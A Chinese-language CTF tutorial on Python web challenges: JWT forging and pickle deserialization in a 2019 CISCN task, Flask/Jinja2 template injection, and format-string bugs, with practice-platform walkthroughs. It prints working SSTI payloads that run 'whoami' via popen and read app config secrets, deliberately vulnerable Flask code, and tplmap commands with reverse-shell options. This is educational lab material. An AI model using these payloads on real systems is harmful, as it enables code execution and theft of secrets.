思維導圖
必備知識點:
在大量的比賽真題復現中,將涉及到滲透測試的題庫進行了語言區分,主要以 Python, PHP,Java為主,本章節將各個語言的常考點進行真題復現講解。
CTF各大題型簡介
- MISC(安全雜項):全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數據分析、大數據統計等等,覆蓋面比較廣。我們平時看到的社工類題目;給你一個流量包讓你分析的題目;取證分析題目;都屬於這類題目。主要考查參賽選手的各種基礎綜合知識,考察范圍比較廣。
- PPC(編程類):全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現。算法的逆向編寫,批量處理等,有時候用編程去處理問題,會方便的多。當然PPC相比ACM來說,還是較為容易的。至於編程語言嘛,推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。
- CRYPTO(密碼學):全稱Cryptography。題目考察各種加解密技術,包括古典加密技術、現代加密技術甚至出題者自創加密技術。實驗吧“角斗場”中,這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關知識點。
- REVERSE(逆向):全稱reverse。題目涉及到軟件逆向、破解技術等,要求有較強的反匯編、反編譯扎實功底。需要掌握匯編,堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。
- STEGA(隱寫):全稱Steganography。隱寫術是我開始接觸CTF覺得比較神奇的一類,知道這個東西的時候感覺好神奇啊,黑客們真是聰明。題目的Flag會隱藏到圖片、音頻、視頻等各類數據載體中供參賽選手獲取。載體就是圖片、音頻、視頻等,可能是修改了這些載體來隱藏flag,也可能將flaq隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強,才能發現。此類題目主要考察參賽選手對各種隱寫工具、隱寫算法的熟悉程度。實驗吧“角斗場”的隱寫題目在我看來是比較全的,以上說到的都有涵蓋。新手盆友們可以去了解下。
- PWN(溢出):PWN在黑客俚語中代表着攻破,取得權限,在CTF比賽中它代表着溢出類的題目,其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中,線上比賽會有,但是比例不會太重,進入線下比賽,逆向和溢出則是戰隊實力的關健。主要考察參與選手漏洞挖掘和利用能力。
- WEB(wob類):WEB應用在今天越來越廣泛,也是CTF奪旗競賽中的主要題型,題目涉及到常見的Web漏洞,諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目,至少會有一層的安全過濾,需要選手想辦法繞過。且Web題目是國內比較多也是大家比較喜歡的題目。因為大多數人開始安全都是從web開始的。
本課重點:
- 案例1:CTF奪旗-Python-支付邏輯&JWT&反序列化
- 案例2:CTF奪旗-Python-Flask&jinja2&SSTI模版注入
- 案例3:CTF奪旗-Python-格式化字符串漏洞&讀取對象
案例1:CTF奪旗-Python-支付邏輯&JWT&反序列化
真題:2019 CISCN華北賽區Day1 Web2 WriteUp (全國大學生信息安全競賽)
打開后通過提示 -> 尋找LV6 -> 購買修改支付邏輯 -> 繞過admin限制需修改jwt值 -> 爆破jwt密匙 -> 重組jwt值成為admin -> 購買進入會員中心 -> 源碼找到文件壓縮源碼 -> Python代碼審計反序列化 -> 構造讀取flag代碼進行序列化打印 -> 提交獲取
<1>打開頁面如下
<2>根據提示:暴破、一定要買到LV6。寫一個腳本,找到LV6。如下圖所示,在181頁。
<3>打開181頁,找到LV6的購買鏈接。
<4>點擊購買,發現價格太高,而余額太少,不夠。
<5>發現購買時有一個優惠券,嘗試在前端修改優惠券折扣,點擊結算,提示“該頁面只允許admin訪問”。
<6>由於目前我們登錄的是普通用戶,此時可以嘗試垂直越權。觀察數據包,發現會話使用的JWT,嘗試使用c-jwt-cracker工具爆破JWT秘鑰,成功得到秘鑰。
<7>將username值改為admin,使用秘鑰重新生成JWT,成功登錄admin賬戶。
<8>查看網頁源代碼,找到新提示。
<9>下載www.zip,解壓縮,打開文件,發現是python源碼。
<10>使用idea工具打開源碼,全局搜索漏洞關鍵字。發現反序列化關鍵字pickle,猜測這里有反序列化漏洞。
python漏洞參考:https://github.com/bit4woo/python_sec
<11>利用漏洞,編寫腳本,生成payload
<12>由於become輸入框是個隱藏框,可以F12刪除隱藏屬性,顯示輸入框,輸入payload,點擊“一鍵成為大會員”。
<13>成功得到flag。
案例2:CTF奪旗-Python-Flask&jinja2&SSTI模版注入
l.ssti模版注入原理解釋
參考:https://xz.aliyun.com/t/7746
一個安全的代碼應該如下:
#/www from flask import Flask,request,render_template from jinja2 import Template app = Flask(__name__) app.config['SECRET'] = "root:password" @app.route('/') @app.route('/index') def index(): return render_template("index.html",title='SSTI_TEST',name=request.args.get("name")) if __name__ == "__main__": app.run()
<!--/www/templates/index.html--> <html> <head> <title>{{title}} - cl4y</title> </head> <body> <h1>Hello, {{name}} !</h1> </body> </html>
可以看到,我們在index.html里面構造了兩個渲染模板,用戶通過傳遞name參數可以控制回顯的內容:
即使用戶輸入渲染模板,更改語法結構,也不會造成SSTI注入:
原因是:服務端先將index.html渲染,然后讀取用戶輸入的參數,模板其實已經固定,用戶的輸入不會更改模板的語法結構。
而如果有程序員為了圖省事,將代碼這樣寫:
from flask import Flask,request from jinja2 import Template app = Flask(__name__) app.config['SECRET_KEY'] = "password:123456789" @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template(''' <html> <head> <title>SSTI_TEST - cl4y</title> </head> <body> <h1>Hello, %s !</h1> </body> </html> '''% (name)) return t.render() if __name__ == "__main__": app.run()
我們再進行測試:可以看到,我們輸入的內容被服務器渲染然后輸出,形成SSTI模板注入漏洞。
2.如何確定Python-ssti模版注入:中間件,返回頁面,關鍵文字提示等
- 中間件:可通過請求響應頭server值判斷,比如 Server:Werkzeug/0.11.15 python/3.7.0,說明后台使用python腳本編寫,應該想到測試是否有SSTI漏洞。
- 返回頁面:比如返回Opos!That page doesnt exist.
- 關鍵字提示:比如flask、inja2、mako等
3.如何正確利用ssti注入獲取Flag:人工&工具
(1)人工:判斷版本-找利用類-構造Payload-繞過濾等
- http://127.0.0.1:5000/acc?404_url={{%27%27.__class__.__bases__[0].__subclasses__()}}
- http://127.0.0.1:5000/acc?404_url={{%22%22.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[%27popen%27](%27whoami%27).read()}}
(2)工具:自動化檢測工具tplmap使用
- https://github.com/epinna/tplmap
- https://www.cnblogs.com/f0rsaken/p/14610425.html Tplmap-20211015
Usage: python tplmap.py [options] 選項: -h, --help 顯示幫助並退出 目標: -u URL, --url=URL 目標 URL -X REQUEST, --re.. 強制使用給定的HTTP方法 (e.g. PUT) 請求: -d DATA, --data=.. 通過POST發送的數據字符串 它必須作為查詢字符串: param1=value1¶m2=value2 -H HEADERS, --he.. 附加消息頭 (e.g. 'Header1: Value1') 多次使用以添加新的消息頭 -c COOKIES, --co.. Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie -A USER_AGENT, -.. HTTP User-Agent 消息頭的值 --proxy=PROXY 使用代理連接到目標URL 檢測: --level=LEVEL 要執行的代碼上下文轉義級別 (1-5, Default: 1) -e ENGINE, --eng.. 強制將后端模板引擎設置為此值 -t TECHNIQUE, --.. 技術 R:渲染 T:基於時間的盲注 Default: RT 操作系統訪問: --os-cmd=OS_CMD 執行操作系統命令 --os-shell 提示交互式操作系統Shell --upload=UPLOAD 上傳本地文件到遠程主機 --force-overwrite 上傳時強制覆蓋文件 --download=DOWNL.. 下載遠程文件到本地主機 --bind-shell=BIN.. 在目標的TCP端口上生成系統Shell並連接到它 --reverse-shell=.. 運行系統Shell並反向連接到本地主機端口 模板檢查: --tpl-shell 在模板引擎上提示交互式Shell --tpl-code=TPL_C.. 在模板引擎中注入代碼 常規: --force-level=FO.. 強制將測試級別設置為此值 --injection-tag=.. 使用字符串作為注入標簽 (default '*')
舉例
<1>檢測是否有SSTI漏洞,如下圖,發現有漏洞,可上傳下載文件(其實也可以命令執行,工具可能會誤報)。
命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url=
<2>下載文件。
命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url= --download flag.txt flag.txt
案例演示
靶場地址:https://buuoj.cn/challenges#[WesternCTF2018]shrine
打開發現給出源碼-pytho&flask&ssti-代碼分析訪問參數,flag位置,過濾等-不能進行正常的路徑符合-采用內置函數讀取-讀取代碼中的存儲FLAG
<1>頁面打開如下,直接給出源代碼。
代碼格式化如下
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
<2>看到flask,想到模板注入。
可以手工測試:
http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/{{1+1}}
返回2,說明有SSTI漏洞。
也可以使用工具測試。由於這里源代碼中沒有給出參數,因此需要在url后面加*
命令:python tplmap.py -u http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/*
這里檢測出漏洞,但是卻不能利用操作。原因是源代碼中作了過濾,過濾了,)
<3>看源碼app.config['FLAG'] = os.environ.pop('FLAG'),推測{undefined{config}}可查看所有app.config內容,但是這題設了黑名單[‘config’,‘self’]並且過濾了括號。不過python還有一些內置函數,比如url_for和get_flashed_messages。
url_for查看全局變量:/shrine/{{url_for.__globals__}}
current_app意思應該是當前app,那我們就看當前app下的config:/shrine/{{url_for.__globals__['current_app'].config}},成功拿到flag。
<4>get_flashed_message同理:/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
案例3:CTF奪旗-Python-格式化字符串漏洞&讀取對象
格式化字符串漏洞原理
- 第一種:%操作符
- 第二種:string.Template
- 第三種:調用Format方法
- 第四種:f-Strings
參考:https:/xz.aliyun.com/t/3569
漏洞代碼舉例
<1>調用Format方法。如下圖所示,name后面的值可控,我們就可以傳參獲取當前腳本的核心變量flag值。
<2>f-Strings。這是python3函數式的新增一種字符串,其功能強大,可以執行字符串中包含的python表達式。
涉及資源:
https://jwt.io/ jwt在線解密
https://buuoj.cn/ 比賽平台
https://www.bugku.com/ ctf庫
https://www.ctfhub.com/ ctf題
https://www.xuenixiang.com ctf靶場、逆向
https:/xz.aliyun.com/t/3569 Python Web之flask session&格式化字符串漏洞
https://xz.aliyun.com/t/7746 SSTI模板注入(Python+Jinja2)
https://gathub.com/CTFd/CTFd ctf
https://github.com/CTFTraining ctf環境庫
https://github.com/epinna/tplmap 注入
https://github.com/bit4woo/python_sec python滲透策略,目錄
https://github.com/brendan-rius/c-jwt-cracker JWT cracker
https://www.cnblogs.com/liuxiaowei/p/9039622.html 【Flask】Flask中關於url_for()